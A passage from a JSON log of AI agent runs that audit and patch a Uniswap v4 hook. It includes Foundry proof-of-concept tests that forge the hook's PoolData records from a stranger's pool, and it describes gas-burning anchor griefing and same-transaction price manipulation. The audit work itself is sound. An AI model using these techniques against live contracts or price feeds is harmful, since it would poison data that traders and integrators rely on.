swap(PoolKey memory key, bool zeroForOne, int256 amountSpecified, uint160 limit) external {\n        manager.unlock(abi.encode(key, zeroForOne, amountSpecified, limit));\n    }\n\n    function unlockCallback(bytes calldata data) external returns (bytes memory) {\n        require(msg.sender == address(manager), \"not manager\");\n        (PoolKey memory key, bool zeroForOne, int256 amountSpecified, uint160 limit) =\n            abi.decode(data, (PoolKey, bool, int256, uint160));\n        BalanceDelta d = manager.swap(key, SwapParams(zeroForOne, amountSpecified, limit), \"\");\n        require(d.amount0() == 0 && d.amount1() == 0, \"unexpected delta\");\n        return \"\";\n    }\n}\n\n/// @notice An unprivileged account opens a second pool on the hook and makes it emit `PoolData` with\n/// a price of its choosing, from the hook's address, indistinguishable from the launch pool's records.\ncontract ForgedPoolDataTest is Test {\n    uint160 constant SQRT_PRICE_1_1 = 79228162514264337593543950336;\n    uint160 constant FLAGS = HookFlags.BEFORE_INITIALIZE | HookFlags.AFTER_SWAP;\n    bytes32 constant POOL_DATA_SIG =\n        keccak256(\"PoolData(uint256,uint160,int24,uint160,int24,int256,bool,uint256,uint128)\");\n\n    IPoolManager manager;\n    SiphonToken token;\n    SiphonHook hook;\n    PoolKey launchKey;\n\n    address owner = makeAddr(\"owner\");\n    address factory = makeAddr(\"factory\");\n    address attacker = makeAddr(\"attacker\");\n\n    function setUp() public {\n        manager = IPoolManager(address(new PoolManager(address(this))));\n        vm.prank(factory);\n        token = new SiphonToken();\n        hook = deployHook();\n\n        launchKey = PoolKey({\n            currency0: Currency.wrap(address(0)),\n            currency1: Currency.wrap(address(token)),\n            fee: 12_500,\n            tickSpacing: 60,\n            hooks: IHooks(address(hook))\n        });\n        vm.prank(factory);\n        manager.initialize(launchKey, SQRT_PRICE_1_1);\n    }\n\n    function deployHook() internal returns (SiphonHook) {\n        bytes32 initHash = keccak256(abi.encodePacked(type(SiphonHook).creationCode, abi.encode(manager, owner)));\n        for (uint256 i = 0; i < 100_000; i++) {\n            address predicted = vm.computeCreate2Address(bytes32(i), initHash, address(this));\n            if (!HookFlags.matches(predicted, FLAGS)) continue;\n            return new SiphonHook{salt: bytes32(i)}(manager, owner);\n        }\n        revert(\"no salt found\");\n    }\n\n    function test_strangerCannotMakeTheHookEmitPoolDataForAnotherPool() public {\n        // The same two currencies as the launch pool, a different fee tier, opened by anyone, with the\n        // price the attacker wants to publish: SIPH priced at tick -887000 against ETH.\n        PoolKey memory forged = PoolKey({\n            currency0: Currency.wrap(address(0)),\n            currency1: Currency.wrap(address(token)),\n            fee: 3_000,\n            tickSpacing: 10,\n            hooks: IHooks(address(hook))\n        });\n        uint160 start = TickMath.getSqrtPriceAtTick(-887_000);\n        uint160 limit = TickMath.getSqrtPriceAtTick(-886_900);\n\n        vm.recordLogs();\n        vm.startPrank(attacker);\n        DustSwapper router = new DustSwapper(manager);\n        // Neither step costs the attacker a token: the pool has no liquidity, so the swap settles nothing.\n        try manager.initialize(forged, start) {\n            try router.swap(forged, false, -1, limit) {} catch {}\n        } catch {}\n        vm.stopPrank();\n\n        Vm.Log[] memory logs = vm.getRecordedLogs();\n        uint256 forgedRecords;\n        for (uint256 i = 0; i < logs.length; i++) {\n            if (logs[i].emitter != address(hook) || logs[i].topics[0] != POOL_DATA_SIG) continue;\n            forgedRecords++;\n            (uint160 sqrtPriceSelf,,,,,,, uint128 liquidity) =\n                abi.decode(logs[i].data, (uint160, int24, uint160, int24, int256, bool, uint256, uint128));\n            emit log_named_uint(\"forged sqrtPriceSelf\", sqrtPriceSelf);\n            emit log_named_uint(\"forged liquidity\", liquidity);\n            assertEq(sqrtPriceSelf, limit, \"the record carries the attacker's price\");\n            assertEq(liquidity, 0, \"from a pool with no liquidity\");\n        }\n        assertEq(\n            forgedRecords,\n            0,\n            \"the hook emitted PoolData for a pool a stranger opened; a consumer of the hook's event stream cannot tell it from the launch pool's data\"\n        );\n    }\n}","reproduction":"State: hook deployed, launch pool (ETH/SIPH, fee 12500, spacing 60) initialized by the factory. Attacker (no SIPH, no ETH beyond gas): 1) manager.initialize(PoolKey{currency0: ETH, currency1: SIPH, fee: 3000, tickSpacing: 10, hooks: hook}, TickMath.getSqrtPriceAtTick(-887000)) -> beforeInitialize returns its selector, pool opens. 2) From a router inside manager.unlock: manager.swap(thatKey, SwapParams{zeroForOne: false, amountSpecified: -1, sqrtPriceLimitX96: getSqrtPriceAtTick(-886900)}, \"\") -> delta is (0, 0), nothing to settle. Expected: no PoolData from the hook that is not an observation of the launch pool. Actual: the hook emits PoolData(blockNumber, sqrtPriceSelf = 4375761663 (tick -886900), tickSelf = -886900, 0, 0, swapAmount = -1, zeroForOne = false, feeAmount = 0, liquidity = 0) from the hook's address, same event signature and topic layout as the launch pool's records. test/scratch/ForgedPoolData.t.sol fails on the current code with 'the hook emitted PoolData for a pool a stranger opened ... 1 != 0'.","severity":"medium","snippet":"    function beforeInitialize(address, PoolKey calldata, uint160) external view onlyPoolManager returns (bytes4) {\n        return IHooks.beforeInitialize.selector;\n    }","title":"beforeInitialize admits any pool and PoolData names none: an unprivileged account emits forged PoolData from the hook at no cost"},{"citation":"resolved","description":"afterSwap reads lpFee from slot0 and reports feeAmount = input * lpFee / 1e6 (src/SiphonHook.sol:167, 176-177), ignoring the third slot0 word (protocolFee, discarded at line 167). In v4 Pool.swap the fee charged is swapFee = protocolFee + lpFee - protocolFee*lpFee/1e6, and the protocol's share is removed from each step's feeAmount before it is credited to LPs, so the LP fee actually paid is about input * lpFee * (1e6 - protocolFee) / 1e12. The README states feeAmount 'matches v4's per-step fee to within rounding for single-step swaps'; that holds only while the protocol fee is zero. Impact is a reporting error of at most 0.1% of the fee (protocol fee is capped at 1000 pips) that only Uniswap governance can bring about, so this is informational: a data consumer should treat feeAmount as the nominal LP fee, or the hook could use the fee formula above with the protocolFee word it already reads.","line":177,"path":"src/SiphonHook.sol","reproduction":"State: launch pool ETH/SIPH fee 12500, 1e21 in-range liquidity; PoolManager owner calls setProtocolFeeController(c) and c calls setProtocolFee(key, 1000 | 1000<<12). Input: exact-input swap zeroForOne of 1 ether. Expected (per README): feeAmount equals the LP fee credited, within rounding. Actual (test/scratch/ProtocolFee.t.sol, measured from feeGrowthGlobal0 and protocolFeesAccrued): reported feeAmount 12500000000000000; LP fee credited 12487999999999999; protocol fee 1000000000000000. The report is 12000000000000001 wei (~0.1%) above the LP fee and below the total fee paid (13487999999999999).","severity":"info","snippet":"                uint256 input = paid < 0 ? uint256(uint128(-paid)) : 0;\n                feeAmount = input * lpFee / 1_000_000;","title":"feeAmount is input * lpFee / 1e6 and ignores the pool's protocol fee, so it overstates the LP fee once the PoolManager owner sets one"}],"hash":"4c6534f85f26b6667f7df7232548f4a57e58bac6995ae58f215782feaeff8f75","nodeId":"e7eb9b57-1341-44c5-b302-e97e4d9820fe","outcome":"completed","summary":"The review is complete. The findings file is written at `.imd-findings.json` with two findings and eleven coverage rows, and no repository file was changed.\n\n**Finding 1, medium, with proof.** The hook's `beforeInitialize` accepts any pool from any sender, and the `PoolData` event carries no pool identifier. An account holding no tokens can open a second pool on the hook, pick any opening price, and swap one wei against zero liquidity. Uniswap v4 walks the price to the limit with a zero delta, so nothing is settled. The hook then emits a `PoolData` record from its own address with the attacker's price and zero liquidity, identical in signature and topics to the launch pool's records. The scratch test under `test/scratch/ForgedPoolData.t.sol` fails on the current code and shows a record at tick -886900. The fix that fits the launch model is to restrict initialization to the launch factory via a `$factory` constructor argument, or to refuse any pool after the first.\n\n**Finding 2, informational.** The reported fee is input times LP fee over one million. It ignores the protocol fee word the hook already reads, so once Uniswap governance sets a protocol fee the report overstates the LP fee credited by up to 0.1% of the fee. Measured values are in the reproduction.\n\n**What holds in my area.** The calldata hash at offset 36 matches the pool id. The paid-side fee math cannot overflow or revert. The anchor staticcall returns zeros on revert, short answer, no code or garbage. The hand-encoded permissions match the struct and the address flags. The compiled runtime is 1960 bytes with no TSTORE, TLOAD, CALL, DELEGATECALL or SELFDESTRUCT reachable. Owner setters are guarded and the pause never blocks swaps or the factory's fee collect. The token is unmodified OpenZeppelin ERC20.\n\n**Leads examined and not reported.** An owner-set anchor that burns all gas can make swaps fail, but that is owner-only with no unprivileged amplifier and the README documents it. The slither and aderyn lines on the ignored `getSlot0` return, the zero-check on `setAnchor`, and the Yul `return` are all intentional and harmless.\n\nThe full suite still passes 51 tests; the only failure is the scratch proof, as intended.","treeHash":null,"usage":{"cachedInputTokens":1226821,"inputTokens":354,"model":"claude-fable-5-1","outputTokens":34199,"runtime":"claude","turns":37,"wallClockMs":555919}},{"artifacts":[],"attempt":1,"bundleHash":"dbc14503b114f79fc30b419728c93c275e0a4cd791d97b76c8a37679b9a0541e","device":"1c29c7c6e4cf57eb","findings":[],"hash":"7f73b8b93dae36a76f91aead6899928cad765e651a30ebe99c7b77f7bc043f22","nodeId":"b08de00e-a01b-4a99-b6e6-102f26a3dc7b","outcome":"completed","summary":"I fixed the main finding, and the reviewer's proof test now passes. `forge build`, `forge fmt --check` and `forge test` (run with the verifier's fuzz seed) all pass: 52 tests, plus the proof when it was run as a copy in `test/scratch/`. The hook's code is now 2030 bytes, under the 2048 limit, which leaves only 18 bytes spare.\n\n**Main finding (medium) — anyone could fake `PoolData` records: fixed.** The proof failed on the starting code, so the problem was real. Now `beforeInitialize` saves the first pool opened on the hook as a public `poolId` and refuses every later pool with `PoolAlreadyInitialized`. The launch factory deploys the hook and opens the launch pool in the same transaction, so the first pool is always the launch pool. `afterSwap` now reads that saved pool instead of whatever pool it is handed. I kept the constructor (pool manager, owner) and the brief's event as they were. Adding a pool id to the event would change the brief, so that is the requester's decision. Two tests that checked the old \"anyone can open a pool\" behaviour were replaced with tests that check the opposite: a stranger or the factory can't open a second pool, and no fake record comes out of an empty pool.\n\n**Anchor gas (low): fixed.** The call to the anchor pool now gets at most 50,000 gas (`ANCHOR_GAS`) instead of all remaining gas. A new test uses an anchor that burns all its gas and checks that a swap with a 300k gas limit still succeeds, with the anchor fields reported as zero. With the old code put back, the same test fails.\n\n**Advisory notes (documentation only, plus one disagreement):**\n- **`feeAmount`:** the README and code comments now call it the nominal LP fee. Once a protocol fee is set, it is off by at most about 0.1% of the input.\n- **Prices are not a price oracle:** the README now says both prices are read within the swap's own transaction and can be manipulated, so consumers must average across blocks themselves.\n- **Ownership transfer:** it still happens in one step. A two-step version doesn't fit in the size limit, so the README warns the owner to double-check the address and prefer a multisig.\n- **Pause (disputed):** pausing stops the hook's records but doesn't stop trading. That is intended, because a hook that blocked swaps would let the owner freeze the pool. It was already documented as the requester's call, so I left it unchanged.\n\nEach finding is answered in `.imd-responses.json`. The changes are in `src/SiphonHook.sol`, `test/SiphonHook.t.sol`, `test/mocks/AnchorView.sol`, the new `test/mocks/DustSwapper.sol` and `README.md`. Nothing is committed.","treeHash":"202d6ebc1feefa3827069cef201c03f9dfc7e092","usage":{"cachedInputTokens":1163620,"inputTokens":34,"model":"claude-opus-5-5","outputTokens":17766,"runtime":"claude","turns":18,"wallClockMs":271202}},{"artifacts":[],"attempt":1,"bundleHash":"7e1be7842f4ba80bb2b307ee4b081cae65e8549d1e74466411f57b8395f2e934","device":"918f8261a6fd589c","findings":[{"description":"beforeInitialize accepts every PoolKey, and PoolData carries no pool id or currencies. So anyone can initialize a pool of worthless tokens at any price on SiphonHook, swap in it, and make the hook emit PoolData from the same address with the same signature as the launch pool's records, with whatever sqrtPriceSelf, tickSelf, swapAmount, feeAmount and liquidity they like. A consumer that filters logs by emitter and topic (the natural way to read this hook's only output) cannot tell forged records from real ones. The only way to attribute a record is the PoolManager's Swap event, which is the log just before it (test_eachPoolDataFollowsTheManagersSwapEventForItsPool in test/SiphonHookEdges.t.sol shows this), and neither the code nor the README tells indexers to do that. No funds are at risk, but the integrity of the hook's whole output is. Suggested fix: in beforeInitialize, accept only the first pool (store its id; the factory opens the launch pool in the same transaction that deploys the hook) and refuse the rest, or emit nothing for pools other than that one. The existing test_anyoneCanOpenAnotherPoolOnTheHook in test/SiphonHook.t.sol asserts the current open behaviour and would need updating with that fix.","line":147,"path":"src/SiphonHook.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test, Vm} from \"forge-std/Test.sol\";\nimport {PoolManager} from \"v4-core/src/PoolManager.sol\";\nimport {IPoolManager} from \"v4-core/src/interfaces/IPoolManager.sol\";\nimport {IHooks} from \"v4-core/src/interfaces/IHooks.sol\";\nimport {IUnlockCallback} from \"v4-core/src/interfaces/callback/IUnlockCallback.sol\";\nimport {PoolKey} from \"v4-core/src/types/PoolKey.sol\";\nimport {Currency} from \"v4-core/src/types/Currency.sol\";\nimport {BalanceDelta} from \"v4-core/src/types/BalanceDelta.sol\";\nimport {SwapParams, ModifyLiquidityParams} from \"v4-core/src/types/PoolOperation.sol\";\nimport {TickMath} from \"v4-core/src/libraries/TickMath.sol\";\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport {SiphonHook} from \"src/SiphonHook.sol\";\nimport {SiphonToken} from \"src/SiphonToken.sol\";\n\ncontract Junk is ERC20 {\n    constructor() ERC20(\"JUNK\", \"JUNK\") {\n        _mint(msg.sender, 1e30);\n    }\n}\n\n/// Adds liquidity and swaps from its own balance in one unlock.\ncontract Attacker is IUnlockCallback {\n    IPoolManager immutable manager;\n\n    constructor(IPoolManager m) {\n        manager = m;\n    }\n\n    function run(PoolKey memory key) external {\n        manager.unlock(abi.encode(key));\n    }\n\n    function unlockCallback(bytes calldata data) external returns (bytes memory) {\n        PoolKey memory key = abi.decode(data, (PoolKey));\n        (BalanceDelta a,) = manager.modifyLiquidity(key, ModifyLiquidityParams(-600, 600, 1e18, 0), \"\");\n        BalanceDelta b = manager.swap(key, SwapParams(true, -1e15, TickMath.MIN_SQRT_PRICE + 1), \"\");\n        _settle(key.currency0, a.amount0() + b.amount0());\n        _settle(key.currency1, a.amount1() + b.amount1());\n        return \"\";\n    }\n\n    function _settle(Currency c, int128 amount) private {\n        if (amount < 0) {\n            manager.sync(c);\n            ERC20(Currency.unwrap(c)).transfer(address(manager), uint256(uint128(-amount)));\n            manager.settle();\n        } else if (amount > 0) {\n            manager.take(c, address(this), uint256(uint128(amount)));\n        }\n    }\n}\n\n/// Finding: any pool can be opened on SiphonHook, and its swaps emit PoolData from the same address with\n/// the same signature and no pool id, so the launch pool's data feed can be forged by anyone.\ncontract SiphonSpoofProof is Test {\n    bytes32 constant POOL_DATA_SIG =\n        keccak256(\"PoolData(uint256,uint160,int24,uint160,int24,int256,bool,uint256,uint128)\");\n    uint160 constant FLAGS = (1 << 13) | (1 << 6);\n\n    function test_aStrangersPoolCannotForgeTheLaunchPoolsPoolData() public {\n        IPoolManager manager = IPoolManager(address(new PoolManager(address(this))));\n        address owner = makeAddr(\"owner\");\n        address factory = makeAddr(\"factory\");\n        bytes32 initHash = keccak256(abi.encodePacked(type(SiphonHook).creationCode, abi.encode(manager, owner)));\n        SiphonHook hook;\n        for (uint256 i = 0; i < 100_000; i++) {\n            if (uint160(vm.computeCreate2Address(bytes32(i), initHash, address(this))) & 0x3fff != FLAGS) continue;\n            hook = new SiphonHook{salt: bytes32(i)}(manager, owner);\n            break;\n        }\n        vm.prank(factory);\n        SiphonToken token = new SiphonToken();\n        // The launch pool, opened by the factory.\n        PoolKey memory launch = PoolKey(\n            Currency.wrap(address(0)), Currency.wrap(address(token)), 12_500, 60, IHooks(address(hook))\n        );\n        vm.prank(factory);\n        manager.initialize(launch, 79228162514264337593543950336);\n\n        // A stranger opens a junk pool on the same hook at an arbitrary price.\n        Attacker attacker = new Attacker(manager);\n        Junk j0 = new Junk();\n        Junk j1 = new Junk();\n        (j0, j1) = address(j0) < address(j1) ? (j0, j1) : (j1, j0);\n        j0.transfer(address(attacker), 1e30);\n        j1.transfer(address(attacker), 1e30);\n        PoolKey memory junk =\n            PoolKey(Currency.wrap(address(j0)), Currency.wrap(address(j1)), 100, 60, IHooks(address(hook)));\n        vm.prank(address(attacker));\n        try manager.initialize(junk, TickMath.getSqrtPriceAtTick(50_000)) {}\n        catch {\n            return; // fixed: the hook refuses pools other than its launch pool\n        }\n\n        vm.recordLogs();\n        attacker.run(junk);\n        Vm.Log[] memory logs = vm.getRecordedLogs();\n        uint256 forged;\n        for (uint256 i = 0; i < logs.length; i++) {\n            if (logs[i].emitter == address(hook) && logs[i].topics[0] == POOL_DATA_SIG) forged++;\n        }\n        assertEq(forged, 0, \"a stranger's pool emitted PoolData indistinguishable from the launch pool's\");\n    }\n}","reproduction":"Deploy SiphonHook at its flags and open the ETH/SIPH launch pool from the factory. As a stranger, initialize PoolKey(JUNK0, JUNK1, fee 100, spacing 60, hook) at tick 50000, add 1e18 liquidity on [-600, 600], and swap 1e15 exact input. Expected: the initialize is refused, or the hook emits no PoolData for that pool. Actual: initialize succeeds and the hook emits one PoolData (same emitter and topic0 as the launch pool's records) with the junk pool's price and tick.","severity":"medium","title":"Anyone can open a pool on the hook and forge PoolData records indistinguishable from the launch pool's"},{"description":"_readAnchor calls staticcall(gas(), anchor, ...) and forwards all remaining gas. When the anchor reverts normally, the unused gas comes back. But if it halts exceptionally (INVALID, out of gas, or any getSlot0 that writes storage, since a write under staticcall is an exceptional halt), it uses up everything it was forwarded. Every swap in the pool then needs several times its normal gas, and loses 63/64 of whatever gas limit the swapper sets. With a gas limit sized for an ordinary swap, the swap reverts. The README says 'A misconfigured anchor can never halt trading'. That holds only when gas is unlimited. The owner can fix it by clearing the anchor, and Uniswap's StateView does not behave like this, so this is low. Suggested fix: give the staticcall a fixed gas cap (e.g. 50_000, far more than a StateView getSlot0 needs).","line":208,"path":"src/SiphonHook.sol","reproduction":"Plain 1 ETH exact-input swap on the launch pool: 137,377 gas. setAnchor(GasBurningAnchor, any id), where the anchor's fallback executes INVALID (test/mocks/HostileAnchors.sol). The same swap then reverts at every gas limit from 200,000 to 600,000 and first succeeds at 800,000, with the extra gas burned. StateWritingAnchor (a non-view getSlot0) has the same effect: test_anchorThatWritesStateCannotAndReadsAsZero uses ~977M gas under forge's unlimited test gas. Expected: an anchor read costs a bounded amount of gas. Actual: it costs 63/64 of whatever is left.","severity":"low","title":"An anchor that halts exceptionally burns 63/64 of every swap's gas"}],"hash":"8c064a8769b15424766cfd08c7ee10b1d78ac18809b71f012c16a7d976dd5779","nodeId":"121eeb25-9b22-4b3f-be65-370ae435eece","outcome":"completed","summary":"I added 26 edge-case tests and an invariant suite, and found two defects in the hook, which I've reported rather than written tests that pass on them. The full suite passes with the verifier's fuzz seed: 77 tests, no failures (the 50 that were already there plus my new ones). The new files are formatted with `forge fmt`, and nothing outside `test/` was changed apart from the findings file.\n\n**New files**\n- **`test/SiphonHookEdges.t.sol`**, 26 tests covering what the first suite didn't:\n  - **Partial fills:** a swap stopped early by its price limit reports `swapAmount` as what was asked, and the fee on what was actually paid.\n  - **Unusual pools:** a swap that pushes the price past all the liquidity reports liquidity 0. A pool with a 100% fee reports the whole input as fee, and a dynamic-fee pool reports 0.\n  - **Fee accuracy:** a fuzz test (1000 runs, exact input and exact output, both directions) checks `feeAmount` against the fee the pool really charged. They always agree to within 2 wei.\n  - **Calldata edges:** 1000 bytes of hook data doesn't change which pool is read, and the largest possible negative swap amount doesn't overflow the fee.\n  - **Bad anchors:** anchors that return garbage in the high bits, try to write storage, return a huge answer, burn all their gas, or are actually the hook itself, the PoolManager, or a pool that doesn't exist. In every case the swap still goes through and the anchor fields read as zero (or as the trimmed values).\n  - **Admin edges:** repeated setter calls, transferring ownership to yourself, the old owner losing every power, the PoolManager and factory not being admins, and failed calls changing nothing.\n  - **Pool attribution:** each `PoolData` comes right after the PoolManager's own `Swap` event for the same pool.\n- **`test/invariant/SiphonHook.invariant.t.sol`**: random sequences of swaps, fee collects, token transfers, block changes, and every setter called by the owner and by others. 256 runs × 40 calls, none reverting. After every sequence:\n  - each `PoolData` matches the pool's real state, the anchor and the fee charged;\n  - exactly one record per unpaused swap, none while paused;\n  - the hook holds no ETH, no SIPH and no PoolManager balances;\n  - owner, pause and anchor are exactly what the owner last set;\n  - the SIPH supply is fixed and every token is held by a known party;\n  - the pool's liquidity never changes.\n\n  To make sure this suite can actually fail, I ran a copy with the expected fee changed by one unit; it failed straight away.\n- **`test/mocks/HostileAnchors.sol`** and **`test/mocks/LimitSwapper.sol`**: support contracts for the tests above.\n\n**Defects found** (in `.imd-findings.json`)\n1. **Medium: anyone can fake the hook's data** (`src/SiphonHook.sol:147`). The hook accepts any new pool, and `PoolData` doesn't say which pool it came from. So a stranger can open a pool of worthless tokens on the hook at any price and make it emit records that look exactly like the launch pool's. The proof test is attached: it fails on the current code. It will pass if the hook either refuses pools after the first one or stays silent for other pools. With that fix, the existing test `test_anyoneCanOpenAnotherPoolOnTheHook` would need updating, because it checks the current open behaviour.\n2. **Low: a bad anchor makes every swap far more expensive** (`src/SiphonHook.sol:208`). The anchor call is given all remaining gas. An anchor that crashes uses all of it, including any `getSlot0` that tries to write storage. A normal swap costs 137,377 gas; with such an anchor set, a swap fails at every limit I tried up to 600,000 and first succeeds at 800,000. So the README's claim that a misconfigured anchor \"can never halt trading\" only holds with unlimited gas. Only the owner can set the anchor, and clearing it restores normal cost. A fixed gas limit on the anchor call would fix it.\n\nNothing is committed yet.","treeHash":"627da72cdc157949f430cafcb309f910ad6f7a44","usage":{"cachedInputTokens":1744457,"inputTokens":39,"model":"claude-opus-5-5","outputTokens":42061,"runtime":"claude","turns":25,"wallClockMs":515603}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"37eed9f56188ea8b","findings":[{"citation":"resolved","description":"Flow Gap (periphery x first principles) and Invariant (interface guarantee). The hook's purpose is to publish one PoolData record per swap of the SIPHON launch pool. beforeInitialize imposes no rule on the pool it is attached to (README: 'so can anyone open other pools on this hook; those pools simply emit PoolData too'), and the PoolData event (src/SiphonHook.sol:47-57) has no pool id, currency, fee or tickSpacing field. afterSwap hashes whatever key the manager hands it and emits from the same address with the same signature. So an unprivileged actor who deploys two junk ERC-20s, initializes {junk0, junk1, fee 100, spacing 1, hooks: SiphonHook} at any sqrtPrice, seeds dust liquidity and swaps 1e15 wei, makes the launch hook emit PoolData(sqrtPriceSelf = attacker's price, tickSelf, liquidity = 1e18, ...) in the same block as genuine records. Any consumer that subscribes to PoolData on the hook address (the documented way to consume it: README 'Indexers should key on (transactionHash, logIndex)') ingests attacker-chosen price, tick, liquidity and fee values as if they were the launch pool's; a dashboard, bot or pricing feed built on it is poisoned at the cost of a few hundred thousand gas per record, and the same holds without malice for a second honest ETH/SIPH pool opened at another fee tier. The invariant 'every PoolData emitted by this hook describes the launch pool' does not hold. Mitigation available to consumers today: pair each PoolData with the PoolManager Swap event that precedes it in the same transaction (it carries the indexed PoolId), which the README does not tell them to do. Minimal fixes that keep the brief's design, pick one: (a) record the first pool id seen in beforeInitialize (the factory opens the launch pool in the deployment transaction) and have afterSwap return without emitting when the hashed id differs, or take '$factory' as a constructor argument and refuse beforeInitialize from any other sender; (b) add an indexed PoolId to PoolData so consumers can filter (changes the event the brief lists, so it is a scope decision for the requester). Either should fit in the 88 bytes of runtime headroom (1960 of 2048); re-check the size test after the change.","line":147,"path":"src/SiphonHook.sol","reproduction":"State: hook deployed, launch pool (ETH/SIPH, 12500, 60) initialized by the factory and seeded. Steps as `stranger`: 1) deploy JunkToken a, b; 2) manager.initialize(PoolKey{c0:min(a,b), c1:max(a,b), fee:100, tickSpacing:1, hooks:hook}, TickMath.getSqrtPriceAtTick(400000)) -> succeeds (hook returns its selector for any pool); 3) add liquidity 1e18 in [399000, 401000]; 4) swap zeroForOne exact input 1e15. Expected: no PoolData from the launch hook describes a foreign pool, or the record identifies its pool. Actual: the hook emits PoolData with sqrtPriceSelf = the junk pool's price (~tick 400000), liquidity 1e18, feeAmount = 1e15*100/1e6, from the hook address with the launch records' signature and no pool id. test/scratch/FabricatedPoolData.t.sol fails on the current code with 'a stranger's pool emitted PoolData from the launch hook, indistinguishable from the launch pool's records: 1 != 0'.","severity":"medium","snippet":"    function beforeInitialize(address, PoolKey calldata, uint160) external view onlyPoolManager returns (bytes4) {\n        return IHooks.beforeInitialize.selector;\n    }","title":"PoolData carries no pool identifier while beforeInitialize accepts any pool: a stranger fabricates records on the launch hook that cannot be told from the launch pool's"},{"citation":"resolved","description":"Flow Gap (execution x periphery x first principles). _readAnchor gives the owner-chosen anchor every unit of gas left in afterSwap. EIP-150 lets the callee consume 63/64 of it, so an anchor whose getSlot0 runs into INVALID (or simply loops) leaves afterSwap, the PoolManager's delta accounting and the router's settlement to finish on 1/64 of what the swapper supplied. The README states the anchor 'cannot revert swaps or touch funds' and 'a misconfigured anchor can never halt trading'; the first claim is false for a fixed gas budget. Measured on the launch pool: an exact-input 1 ETH swap through a minimal router succeeds with 300,000 gas and no anchor, reverts out of gas with 300,000 gas once a gas-burning anchor is set, and needs about 793,000 gas to succeed (test/scratch/GasBurningAnchor.t.sol, log 'gas needed to swap behind a gas-burning anchor (approx): 793065'). Routers and wallets that hard-code or tightly estimate gas (and any integration whose gas estimate was taken before the anchor was set) fail until the owner clears the anchor; the failure is recoverable, so this is griefing of swappers and a documentation error, not a lock. Trigger requires the owner to point setAnchor at a contract that burns gas, so it is a trust assumption on the owner's anchor choice (the README recommends Uniswap's StateView, whose code is fixed); it becomes an unprivileged amplifier only if the owner selects an anchor whose code a third party can change (a proxy). Fix: cap the forwarded gas, e.g. staticcall(50000, target, ...) (a StateView getSlot0 costs under 10k), or make the cap an owner-set value; and correct the README to say what a pathological anchor can do.","line":208,"path":"src/SiphonHook.sol","reproduction":"State: launch pool seeded; owner calls setAnchor(burner, bytes32(1)) where burner's fallback executes invalid(). Input: router.swap{gas: 300000}(key, zeroForOne=true, amountSpecified=-1e18). Expected (per README): the swap executes and PoolData reports zero anchor fields. Actual: the outer call reverts out of gas; the same swap succeeds only with roughly 793k gas. With gas capped in the staticcall the 300k swap succeeds and reports zeros.","severity":"low","snippet":"            let ok := staticcall(gas(), target, p, 36, p, 64)","title":"Anchor staticcall forwards all remaining gas: a gas-consuming anchor makes swaps at ordinary gas limits revert, contradicting the README's 'cannot revert swaps' guarantee"},{"citation":"resolved","description":"Not a defect in the code as documented; recorded so the judge can settle the specification question. The brief says 'Owner + pause'. The implementation reads paused only to skip the reads and the emit; the swap itself always completes (README: 'This is a documented divergence from \"pause means revert\" if that was intended'). For an observe-only hook this is the safer reading (a hook that reverts in afterSwap freezes the pool's trading, and the factory's fee collect is unaffected either way since there are no liquidity callbacks). If the requester intended pause to stop trading, afterSwap must revert when paused, which is a scope decision, not a one-line fix.","line":160,"path":"src/SiphonHook.sol","reproduction":"State: owner calls setPaused(true). Input: any swap in the launch pool, e.g. exact input 1 ETH zeroForOne. Actual: the swap executes, the swapper's ETH balance falls by 1 ether, no PoolData is emitted (test_pauseSilencesEmissionButNeverBlocksSwaps). Expected depends on the requester's reading of 'pause'.","severity":"info","snippet":"        if (!paused) {","title":"Pause silences emission but never halts swaps: a possible divergence from 'Owner + pause' in the brief, documented in the README"},{"citation":"resolved","description":"Economic Security (sandwich every price-dependent read). The brief asks for exactly this read, so the code is as specified; the note is for consumers and the README, which does not warn about it. Both prices are slot0 spot values at the moment of the swap. An actor with capital can, inside one transaction, move the anchor pool's price with a large swap, swap 1 wei in the launch pool so PoolData records the displaced anchor price (and its own post-swap price), then swap the anchor pool back, paying only the anchor pool's fee and slippage. Any downstream logic that prices SIPH from PoolData's anchor or self fields (a bot, a lending market, a settlement) inherits that manipulation. Expected behavior for consumers: treat PoolData as raw per-swap observations and derive time-weighted values across blocks themselves; the README should say so.","line":180,"path":"src/SiphonHook.sol","reproduction":"State: anchor set to StateView with an ETH/USDC pool id. In one transaction: swap 1,000 ETH into the anchor pool (price moves by the pool's depth), swap 1 wei in the launch pool, swap the USDC back. Actual: the launch hook emits PoolData whose sqrtPriceAnchor is the displaced price. Expected by a naive consumer: a price representative of the block. Cost to the actor: two anchor swaps' fees and slippage, no loss to the hook or its pool.","severity":"info","snippet":"            (uint160 sqrtPriceAnchor, int24 tickAnchor) = _readAnchor();","title":"sqrtPriceAnchor and sqrtPriceSelf are same-transaction spot reads: PoolData is manipulable per record and must not be consumed as a price oracle"}],"hash":"8fb9903ae00a50252902108fe750e55a592d92f12c52a7e425761b7984a933b2","nodeId":"3eeceb72-37ae-4b7c-8267-6e94f9b31249","outcome":"completed","summary":"The review is complete. Findings and coverage are in `.imd-findings.json` at the repository root, with four findings and thirteen coverage rows. No source file was changed. The scratch tests live under `test/scratch/`, which is disposable.\n\n**What I found in the economics area (Economic Security, Invariant, Flow Gap):**\n\n- **Medium, with proof.** The hook accepts any pool in `beforeInitialize`, and the `PoolData` event carries no pool identifier. A stranger deploys two junk tokens, opens a pool on the hook at tick 400000, seeds dust liquidity and swaps. The launch hook then emits a record with the attacker's price, tick and liquidity, from the same address and signature as genuine launch-pool records. `test/scratch/FabricatedPoolData.t.sol` fails on the current code with one fabricated record and passes under any of the three fixes named in the finding. Consumers can work around it today by pairing each record with the manager's preceding `Swap` event, which the README does not say.\n- **Low.** The anchor read forwards all remaining gas. With a gas-burning anchor set, a 1 ETH swap that succeeds at 300k gas reverts, and needs about 793k gas to go through. This contradicts the README's \"cannot revert swaps\" claim, but it is recoverable by the owner and depends on the owner's anchor choice. The suggested fix is a gas cap on the staticcall.\n- **Info.** Pause silences emission and never blocks swaps. The README documents this as a deliberate reading of \"Owner + pause\", so it is recorded for the judge to settle rather than as a defect.\n- **Info.** Both price fields are same-transaction spot reads. The anchor price can be displaced inside one transaction, so the feed is not oracle-grade. The code matches the brief here; the note is for consumers and the README.\n\n**What holds.** The fee estimate matches v4's SwapMath for exact input and exact output within rounding, and overstates the LP share by at most 0.1% when a protocol 